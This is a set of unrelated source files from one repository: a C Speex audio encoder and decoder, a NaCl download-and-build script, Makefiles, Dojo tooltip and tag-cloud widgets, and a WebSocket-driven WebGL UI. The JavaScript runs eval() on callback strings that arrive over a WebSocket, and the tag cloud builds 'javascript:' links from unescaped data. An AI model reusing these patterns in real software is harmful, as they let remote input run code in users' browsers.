speex_echo_state_init (enc->frame_size, enc->frame_size * tail_coeff); enc->echo_frame = calloc (enc->frame_size, sizeof (int16_t)); enc->pp = speex_preprocess_state_init (enc->frame_size, enc->sampling_rate); speex_preprocess_ctl (enc->pp, SPEEX_PREPROCESS_SET_DENOISE, &denoise); speex_preprocess_ctl (enc->pp, SPEEX_PREPROCESS_SET_ECHO_STATE, enc->echo); pa_sample_spec ss; ss.rate = 32000; ss.channels = 1; ss.format = PA_SAMPLE_S16LE; enc->pa = pa_simple_new (NULL, "CREST", PA_STREAM_RECORD, NULL, "Voice", &ss, NULL, NULL, NULL); return enc; } void delete_speex_encoder (SpeexEncoder *enc) { if (enc == NULL) return; if (enc->echo != NULL) speex_echo_state_destroy (enc->echo); if (enc->pp != NULL) speex_preprocess_state_destroy (enc->pp); if (enc->state != NULL) speex_encoder_destroy (enc->state); speex_bits_destroy (&enc->bits); free (enc->echo_frame); free (enc); } size_t speex_encoder_encode (SpeexEncoder *enc, size_t output_buff_size, char *output_buff) { int error = 0, i = 0, k = 0; size_t available; int16_t input_frame[enc->frame_size], output_frame[enc->frame_size]; char input_buff[enc->frame_size * 2]; // read Speex-defined amount of sound from PA server pa_simple_read (enc->pa, input_buff, enc->frame_size * 2, &error); // pack char* buffer into int16s. this is endianness-specific for (i = 0, k = 0; i < enc->frame_size; i++, k+=2) { input_frame[i] = (input_buff[k+1] << 8) | (input_buff[k] & 0xFF); } // unclear what order this "should" go in speex_preprocess_run (enc->pp, input_frame); speex_echo_cancellation (enc->echo, input_frame, enc->echo_frame, output_frame); // save the frame to run through echo cancellation on next pass memcpy (enc->echo_frame, output_frame, sizeof (output_frame)); error = speex_encode_int (enc->state, output_frame, &enc->bits); speex_bits_insert_terminator (&enc->bits); available = speex_bits_write (&enc->bits, output_buff, output_buff_size); speex_bits_reset (&enc->bits); return available; } // --------------------------------------- typedef struct SpeexDecoder { void *state; SpeexBits bits; int frame_size; int sampling_rate; ao_device *device; } SpeexDecoder; SpeexDecoder * new_speex_decoder (unsigned int frame_size) { ao_sample_format format; SpeexDecoder *dec = malloc (sizeof (SpeexDecoder)); speex_bits_init (&dec->bits); dec->state = speex_decoder_init (&speex_uwb_mode); dec->frame_size = frame_size; format.bits = 16; format.rate = 32000; format.channels = 1; format.byte_format = AO_FMT_LITTLE; dec->device = ao_open_live (ao_driver_id ("pulse"), &format, NULL); return dec; } void delete_speex_decoder (SpeexDecoder *dec) { if (dec == NULL) return; if (dec->state != NULL) speex_decoder_destroy (dec->state); if (dec->device != NULL) { ao_close (dec->device); } speex_bits_destroy (&dec->bits); free (dec); } void speex_decoder_decode (SpeexDecoder *dec, size_t available, char *output_buff) { int16_t output_frame[dec->frame_size]; char play_buff[dec->frame_size * 2]; int i = 0, k = 0, error = 0; speex_bits_read_from (&dec->bits, output_buff, available); error = speex_decode_int (dec->state, &dec->bits, output_frame); for (i = 0, k = 0; i < dec->frame_size; i++, k+=2) { play_buff[k] = output_frame[i] & 0xFF; play_buff[k+1] = (output_frame[i] >> 8) & 0xFF; } ao_play (dec->device, play_buff, k); } // --------------------------------------- /* int main (void) { int frame_size; SpeexEncoder *enc = new_speex_encoder (3, &frame_size); SpeexDecoder *dec = new_speex_decoder (frame_size); // ------------------ char output_buff[1000]; size_t available; while (1) { // server side available = speex_encode (enc, 1000, output_buff); // client side speex_decode (dec, available, output_buff); }; delete_speex_encoder (enc); delete_speex_decoder (dec); return 1; }*/ <file_sep>wget http://hyperelliptic.org/nacl/nacl-20110221.tar.bz2 bunzip2 < nacl-20110221.tar.bz2 | tar -xf - cd nacl-20110221 ./do <file_sep>SONAME = libracket-pulse-wrapper.so CFLAGS = -fPIC -c -g -O3 -Wall -Wextra LIBDEPS = $$(pkg-config --libs libpulse libpulse-simple) all: so so: pulse.o cc -shared -o $(SONAME) $(LIBDEPS) $^ %.o: %.c cc $(CFLAGS) -o $@ $< install: cp $(SONAME) $(RACKET_LIBS) clean: rm -rf *.o rm -rf *.so* .PHONY: all so clean install <file_sep>if (!dojo._hasResource["mydojo.Tooltip"]) { //_hasResource checks added by build. Do not use _hasResource directly in your code. dojo._hasResource["mydojo.Tooltip"] = true; dojo.provide("mydojo.Tooltip"); dojo.require("dijit.form.Button"); dojo.require("dojox.gfx"); dojo.require("dojox.gfx.move"); dojo.require("dijit._Widget"); dojo.require("dijit._Templated"); dojo.declare("mydojo.Tooltip",[dijit._Widget,dijit._Templated],{ // attachId: String|DomNode? // the Id or domNode to attach this tooltip to attachId:"", // attachHover: Boolean // disable hover behavior for the target attachHover:true, // attachParent: Boolean // automatically attach to our parentnode rather than byId or query attachParent:false, // attachQuery: String? // an optional selector query to attach this tooltip to attachQuery:"", // attachScope: String|DomNode? // and optional scope to run the query against, passed as the // second arg to dojo.query() queryScope:"", // hideDelay: Int // time in my to delay automatically closing the node hideDelay: 123, // ms // persists: Boolean // if true, the node will stay visible until explicitly closed // via _hide() or click on closeIcon persists:false, templateString: '<div class="foo">' +'<div style="position:relative;">' +'<div dojoAttachPoint="surfaceNode"></div>' +'<div class="tooltipBody" dojoAttachPoint="containerNode"></div>' +'</div>' +'</div>', postCreate:function(){ // call _Widget postCreate first this.inherited(arguments); // gfx version of "_Templated" idea: this._initSurface(); if(this.attachParent){ // over-ride and reuse attachId as domNode from now on this.attachId = this.domNode.parentNode; } if(this.attachId){ // domNode again. setup connections this.attachId = dojo.byId(this.attachId); if(this.attachHover){ this.connect(this.attachId,"onmouseenter","_show"); } if(!this.persists){ this.connect(this.attachId,"onmouseleave","_initHide"); } }else if(this.attachQuery){ // setup connections via dojo.query for multi-tooltips var nl = dojo.query(this.attachQuery,this.queryScope); if(this.attachHover){ nl.connect("onmouseenter",this,"_show") } if(!this.persists){ nl.connect("onmouseleave",this,"_initHide") } } // place the tooltip dojo.body().appendChild(this.domNode); dojo.style(this.domNode,{ position:"absolute" }); // could do this in css: dojo.style(this.containerNode,{ position:"absolute", top:"15px", left:"12px", height:"83px", width:"190px" }); // setup our animations this._hideAnim = dojo.fadeOut({ node:this.domNode, duration:150 }); this._showAnim = dojo.fadeIn({ node:this.domNode, duration:75 }); this.connect(this._hideAnim,"onEnd","_postHide"); if(!this.persists){ this.connect(this.domNode,"onmouseleave","_initHide"); } // hide quickly this._postHide(); }, _initHide: function(e){ // summary: start the timer for the hideDelay if(!this.persists && this.hideDelay){ this._delay = setTimeout(dojo.hitch(this,"_hide",e||null),this.hideDelay); } }, _clearDelay: function(){ // summary: clear our hide delay timeout if(this._delay){ clearTimeout(this._delay); } }, _show: function(e){ dojo.style(this.domNode,"zIndex","888"); // summary: show the widget this._clearDelay(); var pos = dojo.coords(e.target || this.attachId,true) // we need to more accurately position the domNode: dojo.style(this.domNode,{ top: pos.y + 50, left: pos.x + 50, display:"block" }); dojo.fadeIn({ node: this.domNode, duration:75 }).play(true); }, _hide: function(e){ // summary: hide the tooltip this._hideAnim.play(); }, _postHide: function(){ // summary: after hide animation cleanup dojo.style(this.domNode,"display","none"); }, _initSurface:function(){ // made generally from an SVG file: this.surface = dojox.gfx.createSurface(this.surfaceNode,220,120); this.tooltip = this.surface.createGroup(); this.tooltip.createPath("M213,101.072c0,6.675-5.411,12.086-12.086,12.086H13.586 c-6.675,0-12.086-5.411-12.086-12.086V21.004c0-6.675,5.411-12.086,12.086-12.086h187.328c6.675,0,12.086,5.411,12.086,12.086 V101.072z") .setFill("rgba(0,0,0,0.25)"); this.tooltip.createPath("M211.5,97.418c0,6.627-5.373,12-12,12 h-186c-6.627,0-12-5.373-12-12v-79.5c0-6.627,5.373-12,12-12h186c6.627,0,12,5.373,12,12V97.418z") .setStroke({ width:2, color:"#FFF" }) .setFill("rgba(102,102,153,1)") .connect("onmouseover",dojo.hitch(this,"_clearDelay")); if(this.persists){ // make the close icon this._toolButton = this.surface.createGroup(); this._toolButton.createEllipse({ cx:207.25, cy:12.32, rx: 7.866, ry: 7.099 }) .setFill("#ededed"); this._toolButton.createCircle({ cx:207.25, cy: 9.25, r:8.25 }) .setStroke({ width:2, color:"#FFF" }) .setFill("#000") ; this._toolButton.connect("onclick",dojo.hitch(this,"_hide")); // the X this._toolButton.createLine({ x1:203.618, y1:5.04, x2: 210.89, y2:12.979 }) .setStroke({ width:2, color:"#d6d6d6" }); this._toolButton.createLine({ x1:203.539, y1:12.979, x2: 210.89, y2:5.04 }) .setStroke({ width:2, color:"#d6d6d6" }); } } }); }<file_sep>if (!dojo._hasResource["mydojo.TagCloud"]) { //_hasResource checks added by build. Do not use _hasResource directly in your code. dojo._hasResource["mydojo.TagCloud"] = true; dojo.provide("mydojo.TagCloud"); dojo.require("dijit._Templated"); dojo.require("dijit.layout.ContentPane"); dojo.declare("mydojo.TagCloud", [dijit.layout.ContentPane, dijit._Templated], { // pageSize: Integer // Argument to data provider. // Specifies number of search results per page (before hitting "next" button) pageSize: Infinity, // store: Object // Reference to data provider object used by this ComboBox store: null, // query: Object // A query that can be passed to 'store' to initially filter the items, // before doing further filtering based on `searchAttr` and the key. // Any reference to the `searchAttr` is ignored. query: {}, // nameAttr: String // The name of the tag attribute nameAttr: "name", // slugAttr: String // The name of the slug attribute slugAttr: "slug", // countAttr: String // The name of the number attribute countAttr: "count", // sizeDifference: Boolean // If we should show larger font for more tags sizeDifference: true, // fontMaxSize: Integer // The size of the largest tag in percent fontMaxSize: 200, // fontMinSize: Integer // The size of the smallest tag in percent fontMinSize: 100, // weightDifference: Boolean // If we should show bolder font for more tags weightDifference: false, // showTitle: Boolean // If we should add a title attribute to the link of the tag showTitle: true, // showCount: Boolean // If we should show the count next to the tag link. IE: tag (2) showCount: false, // clickFunction: String // The name of the function we should call when a tag link is clicked clickFunction: "tagItemClicked", // baseClass: String // The root className to use for this widget baseClass: "TagCloud", _tagMin: null, _tagMax: null, templateString:"<div class=\"${baseClass}\">\n</div>\n", postCreate: function(){ var query = dojo.clone(this.query); var dataObject = this.store.fetch({ queryOptions: { ignoreCase: true, deep: true }, query: query, onComplete: dojo.hitch(this, "_displayTags"), onError: function(errText){ console.error('mydojo.TagCloud: ' + errText); }, start:0, count:this.pageSize }); }, _displayTags: function(/*Object*/ results, /*Object*/ dataObject){ if(!this._tagMin){ this._getMaxMin(results); } var oUL = dojo.doc.createElement("ul"); dojo.place(oUL, this.domNode, "last"); dojo.forEach(results,function(item){ var count = parseInt(this.store.getValue(item, this.countAttr)); var name = this.store.getValue(item, this.nameAttr); var slug = this.store.getValue(item, this.slugAttr); if(!slug || slug=="" || slug=="undefined"){ slug = name; } var oLI = dojo.doc.createElement("li"); dojo.place(oLI, oUL, "last"); var oLink = dojo.doc.createElement("a"); if(this.sizeDifference){ oLink.style.fontSize = this._getFontSize(count) + '%'; } if(this.weightDifference){ oLink.style.fontWeight = this._getFontWeight(count); } if(this.showTitle){ oLink.setAttribute("title", name + ' (' + count + ')'); } oLink.setAttribute("href", 'javascript:' + this.clickFunction + '(\'' + slug + '\')'); oLink.innerHTML = name; dojo.place(oLink, oLI, "last"); if(this.showCount){ dojo.place(dojo.doc.createTextNode(' (' + count + ')'), oLI, "last"); } dojo.place(dojo.doc.createTextNode(' '), oUL, "last"); },this); }, _getMaxMin: function(/*Object*/ results){ dojo.forEach(results,function(item){ var count = parseInt(this.store.getValue(item, this.countAttr)); if ((!this._tagMin) || (count < this._tagMin)) { this._tagMin = count; } if ((!this._tagMax) || (count > this._tagMax)) { this._tagMax = count; } },this); this._slope = (this.fontMaxSize-this.fontMinSize)/(this._tagMax-this._tagMin); this._yintercept = (this.fontMinSize-((this._slope)*this._tagMin)); this._weightSlope = (900-100)/(this._tagMax-this._tagMin); this._weightYIntercept = (100-((this._weightSlope)*this._tagMin)); }, _getFontWeight: function(count){ return 100*(Math.round(((this._weightSlope*count)+this._weightYIntercept)/100)); }, _getFontSize: function(count){ return (this._slope*count)+this._yintercept; } }); }<file_sep>var chart; var pMenuBar; var websocket; require([ "dijit/form/Button", "dijit/layout/BorderContainer", "dijit/layout/ContentPane", "dijit/form/NumberTextBox", "dijit/DropDownMenu", "dijit/MenuItem", "dijit/form/DropDownButton", "dijit/MenuBar", "dijit/Menu", "dijit/MenuBarItem", "dijit/PopupMenuBarItem", "dojo/data/ItemFileReadStore", "dijit/form/Select", "dojo/domReady!" ], function(Button, BorderContainer, ContentPane, NumberTextBox, DropDownMenu, MenuItem, DropDownButton, MenuBar, Menu, MenuBarItem, PopupMenuBarItem, ItemFileReadStore, Select) { pMenuBar = new MenuBar({}); var pSubMenu = new DropDownMenu({}); /* * pSubMenu.addChild(new MenuItem({ label:"File item #1" })); * pSubMenu.addChild(new MenuItem({ label:"File item #2" })); * pMenuBar.addChild(new PopupMenuBarItem({ label:"File", popup:pSubMenu * })); * * var pSubMenu2 = new DropDownMenu({}); pSubMenu2.addChild(new MenuItem({ * label:"Edit item #1" })); pSubMenu2.addChild(new MenuItem({ label:"Edit * item #2" })); pMenuBar.addChild(new PopupMenuBarItem({ label:"Edit", * popup:pSubMenu2 })); */ pMenuBar.placeAt("wrapper"); pMenuBar.startup(); // webGLStart(); websocket = new WebSocket("ws://localhost:8080/" + window.location.search); websocket.onopen = function(event) { alert('telling the server we are ready'); websocket.send(JSON.stringify({go : ""})); } websocket.onmessage = function(event) { console.log(msg); var msg = JSON.parse(event.data); switch (msg.action) { case "newitem": switch (msg.item) { case "button": var response = AddButton(msg.id, msg.label, msg.callback); var responsemsg = { id : response }; websocket.send(JSON.stringify(responsemsg)); break; case "menu": var response = AddPopupMenu(msg.id, msg.label); var responsemsg = { id : response }; websocket.send(JSON.stringify(responsemsg)); break; case "menuitem": var response = AddMenuItem(msg.id, msg.label, msg.menuid, msg.callback); var responsemsg = { id : response }; websocket.send(JSON.stringify(responsemsg)); break; case "canvas": var response = AddCanvas(msg.id, msg.label, msg.width, msg.height); var responsemsg = { id : response }; websocket.send(JSON.stringify(responsemsg)); break; case "dropdown": var response = AddSelectBox(msg.id, msg.label, msg.data); var responsemsg = { id : response }; websocket.send(JSON.stringify(responsemsg)); break; } break; case "updateitem": switch (msg.item) { case "canvas": alert('updating'); updateCanvas(msg.id, msg.data); break; } } } }); function AddButton(id, label, passedFunction) { var row = document.getElementById('newbutton'); var column = document.createElement('td'); var button = document.createElement('button'); button.id = id; column.appendChild(button); row.appendChild(column); document.getElementById(id).value = "New Button Text"; var widg = new dijit.form.Button({ label : (label), onClick : function() { // Do something: eval(passedFunction) } }, (id)); // options,elementID // widg.refresh(); document.getElementById('newbutton').id = ''; var newbutton = document.createElement('div'); newbutton.id = 'newbutton'; document.body.insertBefore(newbutton, null); // dojo.parser.parse(dojo.byId(id)); return button.id; } function ReturnOne() { var num = new Number(1); return num; } function AddPopupMenu(id, label) { var menu = new dijit.DropDownMenu({ id : id }); pMenuBar.addChild(new dijit.PopupMenuBarItem({ label : label, popup : menu })); } function AddMenuItem(id, label, menuid, passedFunction) { var menu = dijit.byId(menuid); menu.addChild(new dijit.MenuItem({ id : id, label : label, onClick : function() { eval(passedFunction) } })); } function AddChart(id) { var chart; $(document) .ready( function() { chart = new Highcharts.Chart( { chart : { renderTo : 'chart', type : 'line', margin : [ 70, 50, 60, 80 ], events : { click : function(e) { // find the clicked values and // the series var x = e.xAxis[0].value, y = e.yAxis[0].value, series = this.series[0]; // Add it series.addPoint([ x, y ]); } } }, title : { text : 'Add Data Here' }, subtitle : { text : 'Click the plot area to add a point. Click a point to remove it.' }, xAxis : { minPadding : 0.2, maxPadding : 0.2, maxZoom : 60 }, yAxis : { title : { text : 'Value' }, minPadding : 0.2, maxPadding : 0.2, maxZoom : 60, plotLines : [ { value : 0, width : 1, color : '#808080' } ] }, legend : { enabled : false }, exporting : { enabled : false }, plotOptions : { series : { lineWidth : 1, point : { events : { 'click' : function() { if (this.series.data.length > 1) this.remove(); } } } } }, series : [ { data : [ [ 20, 20 ], [ 80, 80 ] ] } ] }); }); } function randomInt(range) { return Math.floor(Math.random() * range); } /* * window.setInterval(function () { if (window.document.title == 'hi') { * window.document.title='hello'; } else { window.document.title = 'hi'; } }, * 1000); */ function AddSelectBox(id, label, datajsonfile) { var dataStore = new dojo.data.ItemFileReadStore({ url : datajsonfile }); // create Select widget, populating its options from the store var select = new dijit.form.Select({ // id: id, name : id, store : dataStore, maxHeight : -1 // tells _HasDropDown to fit menu within viewport }, "select"); select.startup(); } function setRectangle(gl, x, y, width, height) { var x1 = x; var x2 = x + width; var y1 = y; var y2 = y + height; gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([ x1, y1, x2, y1, x1, y2, x1, y2, x2, y1, x2, y2 ]), gl.STATIC_DRAW); }; var canvases = {} function AddCanvas(id, width, height) { c = make_new_canvas(id, width, height, 1.0); canvases[c.id] = c; return c.id; } function updateCanvas(id, data) { var canvas = document.getElementById(canvases[id].id); var w = canvas.width / canvases[id].scale; var h = canvas.height / canvases[id].scale; // hack for now, will be replaced by actual data var data = new Uint8Array(new ArrayBuffer(w * h * 4)); for (i = 0; i < w * h * 4; data[i++] = randomInt(256)) ; canvases[id].update(data); } function make_new_canvas(id, w, h, scale) { var my_c = {}; var going = false; var canvasloc = document.getElementById('canvasloc'); var canvas = document.createElement('canvas'); canvas.id = id; canvas.width = w * scale; canvas.height = h * scale; canvasloc.appendChild(canvas); var arr = new ArrayBuffer(w * h * 4); var view = new Uint8Array(arr); // initial setup of texture data // !!! IMPORTANT !!! modify 'view', NOT 'arr' for (i = 0; i < arr.length; view[i++] = randomInt(256)) ; var gl; try { gl = canvas.getContext("experimental-webgl"); gl.viewport(0, 0, canvas.width, canvas.height); } catch (e) { alert(e); } if (!gl) { alert("Could not initialise WebGL"); return my_c; } vertexShader = createShaderFromScriptElement(gl, "2d-vertex-shader"); fragmentShader = createShaderFromScriptElement(gl, "2d-fragment-shader"); alert('vertex shader is ' + vertexShader); alert('fragment shader is ' + fragmentShader); program = createProgram(gl, [ vertexShader, fragmentShader ]); gl.useProgram(program); var positionLocation; var texCoordLocation; var texCoordBuffer; function set_locations() { positionLocation = gl.getAttribLocation(program, "a_position"); texCoordLocation = gl.getAttribLocation(program, "a_texCoord"); var coords = [ 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, 1.0 ]; texCoordBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, texCoordBuffer); gl .bufferData(gl.ARRAY_BUFFER, new Float32Array(coords), gl.STATIC_DRAW); gl.enableVertexAttribArray(texCoordLocation); gl.vertexAttribPointer(texCoordLocation, 2, gl.FLOAT, false, 0, 0); } set_locations(); var texture; function make_texture() { texture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, texture); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST); // Upload the image into the texture. gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, canvas.width, canvas.height, 0, gl.RGBA, gl.UNSIGNED_BYTE, view); } make_texture(); var resolutionLocation; var buffer; function set_uniforms() { // lookup uniforms resolutionLocation = gl.getUniformLocation(program, "u_resolution"); // set the resolution gl.uniform2f(resolutionLocation, canvas.width, canvas.height); // Create a buffer for the position of the rectangle corners. buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); gl.enableVertexAttribArray(positionLocation); gl.vertexAttribPointer(positionLocation, 2, gl.FLOAT, false, 0, 0); // Set a rectangle the same size as the image. setRectangle(gl, 0, 0, canvas.width, canvas.height); } set_uniforms(); var pending_data = null; var transitive_rescale = 1.0; function cleanup() { gl.bindBuffer(gl.ARRAY_BUFFER, null); gl.bindTexture(gl.TEXTURE_2D, null); gl.deleteBuffer(buffer); gl.deleteBuffer(texCoordBuffer); gl.deleteTexture(texture); } function tick() { if (going) { if (transitive_rescale != 1.0) { rescale(transitive_rescale); transitive_rescale = 1.0; } if (pending_data != null) { alert('about to update'); view.set(pending_data); gl.texSubImage2D(gl.TEXTURE_2D, 0, 0, 0, canvas.width, canvas.height, gl.RGBA, gl.UNSIGNED_BYTE, view); gl.drawArrays(gl.TRIANGLES, 0, 6); pending_data = null; } // let's pretend the image data got modified when something // else called my_c.update() in the mean time // for (i = 0; i < w*h*4; view[i++] = randomInt(256)); // update the texture from the new image data // gl.texSubImage2D(gl.TEXTURE_2D,0,0,0,canvas.width,canvas.height, // gl.RGBA,gl.UNSIGNED_BYTE,view); // gl.drawArrays(gl.TRIANGLES,0,6); requestAnimFrame(tick); } else { cleanup(); } } function rescale(factor) { cleanup(); canvas.width = canvas.width * factor; canvas.height = canvas.height * factor; set_locations(); make_texture(); set_uniforms(); } function queue_rescale(factor) { transitive_rescale *= factor; } function queue_stop() { going = false; } function queue_update(data) { pending_data = data; } going = true; requestAnimFrame(tick); my_c.id = id; my_c.update = queue_update; my_c.stop = queue_stop; my_c.rescale = queue_rescale; my_c.scale = scale; return my_c; }; <file_sep>test: find . -name "run-tests.rkt" | while read FILE ; do racket $$FILE ; done<file_sep># Makefile.in generated by automake 1.11.1 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, # 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, # Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. @SET_MAKE@ VPATH = @srcdir@ pkgdatadir = $(datadir)/@PACKAGE@ pkgincludedir = $(includedir)/@PACKAGE@ pkglibdir = $(libdir)/@PACKAGE@ pkglibexecdir = $(libexecdir)/@PACKAGE@ am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd install_sh_DATA = $(install_sh) -c -m 644 install_sh_PROGRAM = $(install_sh) -c install_sh_SCRIPT = $(install_sh) -c INSTALL_HEADER = $(INSTALL_DATA) transform = $(program_transform_name) NORMAL_INSTALL = : PRE_INSTALL = : POST_INSTALL = : NORMAL_UNINSTALL = : PRE_UNINSTALL = : POST_UNINSTALL = : build_triplet = @build@ host_triplet = @host@ TESTS = bin$(EXEEXT) elementcreate$(EXEEXT) elementfactory$(EXEEXT) \ elementget$(EXEEXT) elementlink$(EXEEXT) elementmake$(EXEEXT) \ ghostpad$(EXEEXT) init$(EXEEXT) noinst_PROGRAMS = $(am__EXEEXT_2) subdir = tests/examples/manual DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/common/m4/as-ac-expand.m4 \ $(top_srcdir)/common/m4/as-auto-alt.m4 \ $(top_srcdir)/common/m4/as-compiler-flag.m4 \ $(top_srcdir)/common/m4/as-docbook.m4 \ $(top_srcdir)/common/m4/as-libtool.m4 \ $(top_srcdir)/common/m4/as-python.m4 \ $(top_srcdir)/common/m4/as-scrub-include.m4 \ $(top_srcdir)/common/m4/as-version.m4 \ $(top_srcdir)/common/m4/ax_create_stdint_h.m4 \ $(top_srcdir)/common/m4/gst-arch.m4 \ $(top_srcdir)/common/m4/gst-args.m4 \ $(top_srcdir)/common/m4/gst-check.m4 \ $(top_srcdir)/common/m4/gst-doc.m4 \ $(top_srcdir)/common/m4/gst-error.m4 \ $(top_srcdir)/common/m4/gst-feature.m4 \ $(top_srcdir)/common/m4/gst-function.m4 \ $(top_srcdir)/common/m4/gst-gettext.m4 \ $(top_srcdir)/common/m4/gst-glib2.m4 \ $(top_srcdir)/common/m4/gst-libxml2.m4 \ $(top_srcdir)/common/m4/gst-parser.m4 \ $(top_srcdir)/common/m4/gst-platform.m4 \ $(top_srcdir)/common/m4/gst-plugin-docs.m4 \ $(top_srcdir)/common/m4/gst-plugindir.m4 \ $(top_srcdir)/common/m4/gst.m4 \ $(top_srcdir)/common/m4/gtk-doc.m4 \ $(top_srcdir)/common/m4/introspection.m4 \ $(top_srcdir)/common/m4/pkg.m4 \ $(top_srcdir)/m4/check-checks.m4 $(top_srcdir)/m4/gettext.m4 \ $(top_srcdir)/m4/iconv.m4 $(top_srcdir)/m4/intlmacosx.m4 \ $(top_srcdir)/m4/lib-ld.m4 $(top_srcdir)/m4/lib-link.m4 \ $(top_srcdir)/m4/lib-prefix.m4 $(top_srcdir)/m4/libtool.m4 \ $(top_srcdir)/m4/ltoptions.m4 $(top_srcdir)/m4/ltsugar.m4 \ $(top_srcdir)/m4/ltversion.m4 $(top_srcdir)/m4/lt~obsolete.m4 \ $(top_srcdir)/m4/nls.m4 $(top_srcdir)/m4/po.m4 \ $(top_srcdir)/m4/progtest.m4 $(top_srcdir)/configure.ac am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ $(ACLOCAL_M4) mkinstalldirs = $(install_sh) -d CONFIG_HEADER = $(top_builddir)/config.h CONFIG_CLEAN_FILES = CONFIG_CLEAN_VPATH_FILES = am__EXEEXT_1 = am__EXEEXT_2 = dynamic$(EXEEXT) $(am__EXEEXT_1) elementcreate$(EXEEXT) \ elementmake$(EXEEXT) elementfactory$(EXEEXT) \ elementget$(EXEEXT) elementlink$(EXEEXT) bin$(EXEEXT) \ pad$(EXEEXT) ghostpad$(EXEEXT) helloworld$(EXEEXT) \ init$(EXEEXT) query$(EXEEXT) typefind$(EXEEXT) \ fakesrc$(EXEEXT) playbin$(EXEEXT) decodebin$(EXEEXT) PROGRAMS = $(noinst_PROGRAMS) bin_SOURCES = bin.c bin_OBJECTS = bin.$(OBJEXT) bin_LDADD = $(LDADD) am__DEPENDENCIES_1 = bin_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) AM_V_lt = $(am__v_lt_$(V)) am__v_lt_ = $(am__v_lt_$(AM_DEFAULT_VERBOSITY)) am__v_lt_0 = --silent decodebin_SOURCES = decodebin.c decodebin_OBJECTS = decodebin.$(OBJEXT) decodebin_LDADD = $(LDADD) decodebin_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) dynamic_SOURCES = dynamic.c dynamic_OBJECTS = dynamic.$(OBJEXT) dynamic_LDADD = $(LDADD) dynamic_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) elementcreate_SOURCES = elementcreate.c elementcreate_OBJECTS = elementcreate.$(OBJEXT) elementcreate_LDADD = $(LDADD) elementcreate_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) elementfactory_SOURCES = elementfactory.c elementfactory_OBJECTS = elementfactory.$(OBJEXT) elementfactory_LDADD = $(LDADD) elementfactory_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) elementget_SOURCES = elementget.c elementget_OBJECTS = elementget.$(OBJEXT) elementget_LDADD = $(LDADD) elementget_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) elementlink_SOURCES = elementlink.c elementlink_OBJECTS = elementlink.$(OBJEXT) elementlink_LDADD = $(LDADD) elementlink_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) elementmake_SOURCES = elementmake.c elementmake_OBJECTS = elementmake.$(OBJEXT) elementmake_LDADD = $(LDADD) elementmake_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) fakesrc_SOURCES = fakesrc.c fakesrc_OBJECTS = fakesrc.$(OBJEXT) fakesrc_LDADD = $(LDADD) fakesrc_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) ghostpad_SOURCES = ghostpad.c ghostpad_OBJECTS = ghostpad.$(OBJEXT) ghostpad_LDADD = $(LDADD) ghostpad_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) helloworld_SOURCES = helloworld.c helloworld_OBJECTS = helloworld.$(OBJEXT) helloworld_LDADD = $(LDADD) helloworld_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) init_SOURCES = init.c init_OBJECTS = init.$(OBJEXT) init_LDADD = $(LDADD) init_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) pad_SOURCES = pad.c pad_OBJECTS = pad.$(OBJEXT) pad_LDADD = $(LDADD) pad_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) playbin_SOURCES = playbin.c playbin_OBJECTS = playbin.$(OBJEXT) playbin_LDADD = $(LDADD) playbin_DEPENDENCIES = \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) query_SOURCES = query.c query_OBJECTS = query.$(OBJEXT) 